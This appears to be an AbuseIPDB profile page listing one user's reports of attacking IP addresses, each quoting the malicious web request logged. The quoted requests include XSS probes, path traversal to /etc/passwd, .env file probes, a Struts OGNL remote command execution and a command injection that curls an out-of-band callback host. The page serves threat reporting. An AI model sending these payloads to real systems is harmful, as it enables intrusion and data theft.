mrb2202 - AbuseIPDB User Profile

User mrb2202 joined AbuseIPDB in November 2022 and has reported 23 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
46.232.41.141	15 Oct 2024	/crx/de/setPreferences.jsp;%0A.html /etc/designs/xh1x.childrenlist.json//%3Csvg%20onload=aler ... show more/crx/de/setPreferences.jsp;%0A.html /etc/designs/xh1x.childrenlist.json//%3Csvg%20onload=alert%28document.domain%29%3E.html show less	Web App Attack
5.161.214.153	30 Sep 2024	/storage/logs/debug.log /config/php.ini	Web App Attack
194.233.85.101	22 Sep 2024	https://pandora-git.myplant.io/municipal/oliver/FileServlet https://pandora-git.myplant.io/21 ... show morehttps://pandora-git.myplant.io/municipal/oliver/FileServlet https://pandora-git.myplant.io/212426533/process/aprocess.php show less	Web App Attack
79.110.62.169	17 Sep 2024	/vendor/.env /config/.env /back/.env.production	Web App Attack
143.198.94.84	08 Aug 2024	/api/2.0/mlflow/model-versions/create /tshirtecommerce/ajax.php /wp-admin/admin-ajax.p ... show more/api/2.0/mlflow/model-versions/create /tshirtecommerce/ajax.php /wp-admin/admin-ajax.php show less	Web App Attack
185.209.196.227	10 Jun 2024	/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fet ... show more/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd show less	Web App Attack
216.105.168.26	29 May 2024	args: option=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-option%27%29%3E&server=%27%3E%22%3Csvg%2Fonlo ... show moreargs: option=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-option%27%29%3E&server=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-server%27%29%3E&admin=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-admin%27%29%3E&create=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-create%27%29%3E&template=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-template%27%29%3E&number=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-number%27%29%3E&lastname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-lastname%27%29%3E&multi_number=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-multi_number%27%29%3E&size=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-size%27%29%3E&tax=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tax%27%29%3E&sql=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-sql%27%29%3E&show_sticky=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-show_sticky%27%29%3E&attachments=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-attachments%27%29%3E&_method=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_method%27%29%3E show less	Web App Attack
137.220.197.141	21 Feb 2024	/e/ViewImg/index.html	Web App Attack
137.220.197.141	19 Feb 2024	/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@get ... show more/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action show less	Web App Attack
206.81.0.176	14 Feb 2024	/api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20cn6dobqod5ccqju02bg0zgmsfusf9qkkk. ... show more/api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20cn6dobqod5ccqju02bg0zgmsfusf9qkkk.oast.online show less	Web App Attack
51.15.16.66	07 Feb 2024	/status%3E%3Cscript%3Ealert(31337)%3C%2Fscript%3E /__nuxt_error	Web App Attack
162.240.159.247	20 Nov 2023	specific dns-based urls: e.g. /myplant.io/error.log	Web Spam SQL Injection Web App Attack
194.61.120.40	20 Oct 2023	/scripts/unlock_tasks.php	Brute-Force Web App Attack
38.60.146.109	25 Jul 2023	uri example: /wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php	SQL Injection Web App Attack
191.101.3.75	11 May 2023	httpRequest.uri: /servlets/OmaDsServlet	SQL Injection Web App Attack
64.252.105.108	10 May 2023	/admin/ajax/avatar.php?id=-1+union+select+md5(999999999)%23	SQL Injection Web App Attack
194.59.165.249	10 May 2023	httpRequest.args: Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.in ... show morehttpRequest.args: Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 show less	SQL Injection Web App Attack
191.101.3.75	08 May 2023	httpRequest.uri: /%3Cscript%3Ealert(document.domain)%3C/script%3E	Web App Attack
223.190.87.229	08 May 2023	httpRequest.args: search==%00{.exec\|cmd.exe+/c+ping+127.0.0.1+-n+10.}	SQL Injection Web App Attack
122.161.91.49	28 Apr 2023	/cpanelwebcall/%3Cimg%20src=x%20onerror=%22prompt%28document.domain%29%22%3Eaaaaaaaaaaaa	Web App Attack
179.43.133.139	28 Mar 2023	DNS-targeted web scan	Brute-Force Web App Attack
77.243.183.168	21 Feb 2023	re-occurring scans from this IP against our domains	SQL Injection Brute-Force Web App Attack
37.120.148.139	21 Dec 2022	nmap scan against various endpoints of our company	Web App Attack